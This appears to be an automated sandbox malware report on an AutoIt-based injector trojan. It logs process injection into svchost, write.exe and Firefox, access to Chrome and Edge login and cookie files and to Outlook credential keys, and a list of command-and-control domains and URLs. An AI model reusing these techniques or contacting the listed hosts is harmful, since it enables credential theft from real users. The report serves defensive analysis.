Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtAllocateVirtualMemory: Direct from: 0x76F12BEC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtDeviceIoControlFile: Direct from: 0x76F12AEC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtSetInformationThread: Direct from: 0x76F063F9	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtOpenSection: Direct from: 0x76F12E0C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtMapViewOfSection: Direct from: 0x76F12D1C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtResumeThread: Direct from: 0x76F136AC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtCreateMutant: Direct from: 0x76F135CC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtWriteVirtualMemory: Direct from: 0x76F12E3C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtNotifyChangeKey: Direct from: 0x76F13C2C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtProtectVirtualMemory: Direct from: 0x76F07B2E	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtProtectVirtualMemory: Direct from: 0x76F12F9C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtSetInformationProcess: Direct from: 0x76F12C5C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtOpenKeyEx: Direct from: 0x76F12B9C	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtQueryInformationProcess: Direct from: 0x76F12C26	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtResumeThread: Direct from: 0x76F12FBC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtDelayExecution: Direct from: 0x76F12DDC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtReadFile: Direct from: 0x76F12ADC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtQuerySystemInformation: Direct from: 0x76F12DFC	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	NtAllocateVirtualMemory: Direct from: 0x76F12BFC	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\write.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: NULL target: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: NULL target: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\write.exe

Thread register set: target process: 2692

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\write.exe

Thread APC queued: target process: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2C40008

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_00436CD7 LogonUserW,

0_2_00436CD7

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

0_2_0040D590

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_00434418

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_0043333C

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Z6s208B9QX.exe"	Jump to behavior
Source: C:\Program Files (x86)\PZHeSQlLTMgDWGgAeGkqhKIlzUAaLXeGcDNeBEjXxOvHEQaaccEFsXfl\UCAmCgWJyh.exe	Process created: C:\Windows\SysWOW64\write.exe "C:\Windows\SysWOW64\write.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00446124

Source: Z6s208B9QX.exe, UCAmCgWJyh.exe, 0000000A.00000000.1650784396.00000000018B1000.00000002.00000001.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000A.00000002.3744648444.00000000018B0000.00000002.00000001.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746140501.0000000001140000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: UCAmCgWJyh.exe, 0000000A.00000000.1650784396.00000000018B1000.00000002.00000001.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000A.00000002.3744648444.00000000018B0000.00000002.00000001.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746140501.0000000001140000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: UCAmCgWJyh.exe, 0000000A.00000000.1650784396.00000000018B1000.00000002.00000001.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000A.00000002.3744648444.00000000018B0000.00000002.00000001.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746140501.0000000001140000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: Z6s208B9QX.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: UCAmCgWJyh.exe, 0000000A.00000000.1650784396.00000000018B1000.00000002.00000001.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000A.00000002.3744648444.00000000018B0000.00000002.00000001.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746140501.0000000001140000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,

0_2_004720DB

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_00472C3F GetUserNameW,

0_2_00472C3F

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

0_2_0041E364

Source: C:\Users\user\Desktop\Z6s208B9QX.exe

Code function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

0_2_0040E500

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3738831581.0000000000530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730607904.0000000003690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730238566.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3743731307.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3742814788.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730979134.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3746307677.0000000002FC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\write.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\write.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: Z6s208B9QX.exe	Binary or memory string: WIN_XP
Source: Z6s208B9QX.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 8, 1USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----&
Source: Z6s208B9QX.exe	Binary or memory string: WIN_XPe
Source: Z6s208B9QX.exe	Binary or memory string: WIN_VISTA
Source: Z6s208B9QX.exe	Binary or memory string: WIN_7
Source: Z6s208B9QX.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 8.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.3738831581.0000000000530000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730607904.0000000003690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730238566.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3743731307.0000000002A60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3742814788.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.1730979134.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3746307677.0000000002FC0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_004652BE socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,	0_2_004652BE
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_00476619 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	0_2_00476619
Source: C:\Users\user\Desktop\Z6s208B9QX.exe	Code function: 0_2_0046CEF3 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,	0_2_0046CEF3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	16 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	141 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Z6s208B9QX.exe	71%	ReversingLabs	Win32.Trojan.Autoitinject
Z6s208B9QX.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
tempatmudisini01.click	103.21.221.4	true	true	unknown
www.nmh6.site	43.154.104.247	true	true	unknown
www.zenscape.top	199.192.21.169	true	true	unknown
www.broomeorchard.xyz	15.197.204.56	true	true	unknown
o731lh.vip	3.33.130.190	true	true	unknown
asociacia.online	81.2.196.19	true	true	unknown
hse6978h2.g.asiagoogleantiddoscdn.com	23.224.37.76	true	true	unknown
whats-in-the-box.org	3.33.130.190	true	true	unknown
suarahati20.xyz	198.252.106.191	true	true	unknown
www.93187.xyz	107.163.130.249	true	true	unknown
xzwp.g.zxy-cname.com	20.184.53.162	true	true	unknown
consultarfacil.online	3.33.130.190	true	true	unknown
www.suarahati20.xyz	unknown	unknown	true	unknown
www.consultarfacil.online	unknown	unknown	true	unknown
www.o731lh.vip	unknown	unknown	true	unknown
www.whats-in-the-box.org	unknown	unknown	true	unknown
www.insicilia.today	unknown	unknown	true	unknown
www.asociacia.online	unknown	unknown	true	unknown
www.52ywq.vip	unknown	unknown	true	unknown
www.tempatmudisini01.click	unknown	unknown	true	unknown
www.1183377.app	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
http://www.tempatmudisini01.click/abla/	true	unknown
http://www.zenscape.top/d8cw/?gP=ygF20N1+ik7kBOtBXXgSSDl+0mvoPS6R8XEst5j0lvkfFXMCnxh1w4hdkVa8euGiR7K2W9wNoXO2NDH8py5otm2v66eMoudDkD1QDiauZF6PALhNXvt3BHI=&-L=kBMxZFRpAD6P	true	unknown
http://www.93187.xyz/jyeu/?gP=KiLVsdjbhLGFnrJehKTzSS0IkzcAWv/LJ+iUpFrqUMB7t1Dgy4rxQKgK0ZJ2vypsgoxK5tfcGeo5lfiWWTY3/QPGqQrPglnah1puMp4IzQunG6SYXgyDdEY=&-L=kBMxZFRpAD6P	true	unknown
http://www.nmh6.site/8qne/	true	unknown
http://www.consultarfacil.online/2ho9/?gP=sZDoihg8ajsFNu4sFB4wVMG24nWUkQUSxybOs53co7FoCsqulhCNIl7qmx9+CpDfKiL3BRrx3kpFS5y+tLS3H5WrA65sHfIkn+XzJEmDgF1B4fp1cD4x67M=&-L=kBMxZFRpAD6P	true	unknown
http://www.suarahati20.xyz/4est/	true	unknown
http://www.1183377.app/8z5k/	true	unknown
http://www.broomeorchard.xyz/8o1o/	true	unknown
http://www.suarahati20.xyz/4est/?gP=6TioOITzTznuWaHCUWnl//RNTiJIkSIqdx+6cQbbG9CbTHyFxDml283eSUfpT4rPWLRehJ5KDSFFDUFbTukXlY89F3XW39p23v05UDH3lWqOp67DGsRlWdM=&-L=kBMxZFRpAD6P	true	unknown
http://www.asociacia.online/jsqu/?-L=kBMxZFRpAD6P&gP=j6JGavFFAQYaoSsk3MdZismLyTuecDBS/zrFTn0tpA7YEGIVc6EsUszyewNJDeJ1aRTf+dmReaRifudBLpLuAECuXdbdVwd/lx4BGGAWHgBLP9AhssTD5eI=	true	unknown
http://www.broomeorchard.xyz/8o1o/?-L=kBMxZFRpAD6P&gP=QunhVm6kZFQCJjGkuC7lsmN7UDLhVH5unS34CwGNyhG42F+U2Qq2Bbej6HS9mh+MEeKFfLAj85iyVJ5CsJDjT9kB1XQFiuYG2+iOt7QfZQyJLxqfhY4aAGU=	true	unknown
http://www.nmh6.site/8qne/?-L=kBMxZFRpAD6P&gP=KTDLAip6979182YpgYgwlP0twqrvN2KjRu9dlBr1KRF7u6Oe/Vup1PLCUBiG85sopIJcMB3IBfxfJF1E2Fdczwn6nM8FHB3uPZpUzCEofVeYgOE3F6jmTm8=	true	unknown
http://www.52ywq.vip/4i87/	true	unknown
http://www.52ywq.vip/4i87/?-L=kBMxZFRpAD6P&gP=tX1gPPm4vGDAfdGb/LV0WNIl4Jkrf3fdzqWbffI0WxOtalbv2UCR6RvwOqtQuPJgvEbTjd3YUbROaC6Ux6KVpZIGkHJVy9sLRLBvFWiGcqamlVlCdw8MyQ8=	true	unknown
http://www.o731lh.vip/xweg/	true	unknown
http://www.asociacia.online/jsqu/	true	unknown
http://www.consultarfacil.online/2ho9/	true	unknown
http://www.tempatmudisini01.click/abla/?gP=R9BPGtjeoV0CDxCBeHwugo2BsPFWgaNdCqs+EeARQOkoA/Qwpt/BQ4HKq3lGg5eAXthSBpGiRyb49E6pfVOIP+nYbA/MCobApDN+18WI9d8e3Vo/1w2CbZc=&-L=kBMxZFRpAD6P	true	unknown
http://www.93187.xyz/jyeu/	true	unknown
http://www.zenscape.top/d8cw/	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempatmudisini01.click/abla/?gP=R9BPGtjeoV0CDxCBeHwugo2BsPFWgaNdCqs	write.exe, 0000000B.00000002.3747327536.0000000005C22000.00000004.10000000.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.00000000039E2000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.nmh6.site	UCAmCgWJyh.exe, 0000000D.00000002.3748863633.0000000004F8E000.00000040.80000000.00040000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.live.c	write.exe, 0000000B.00000002.3743884868.0000000002B65000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://6329.vhjhbv.com/4i87/?-L=kBMxZFRpAD6P&gP=tX1gPPm4vGDAfdGb/LV0WNIl4Jkrf3fdzqWbffI0WxOtalbv2UC	write.exe, 0000000B.00000002.3747327536.0000000005448000.00000004.10000000.00040000.00000000.sdmp, UCAmCgWJyh.exe, 0000000D.00000002.3746863202.0000000003208000.00000004.00000001.00040000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	write.exe, 0000000B.00000002.3749537044.00000000078EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
103.21.221.4	tempatmudisini01.click	unknown	9905	LINKNET-ID-APLinknetASNID	true
199.192.21.169	www.zenscape.top	United States	22612	NAMECHEAP-NETUS	true
107.163.130.249	www.93187.xyz	United States	20248	TAKE2US	true
198.252.106.191	suarahati20.xyz	Canada	20068	HAWKHOSTCA	true
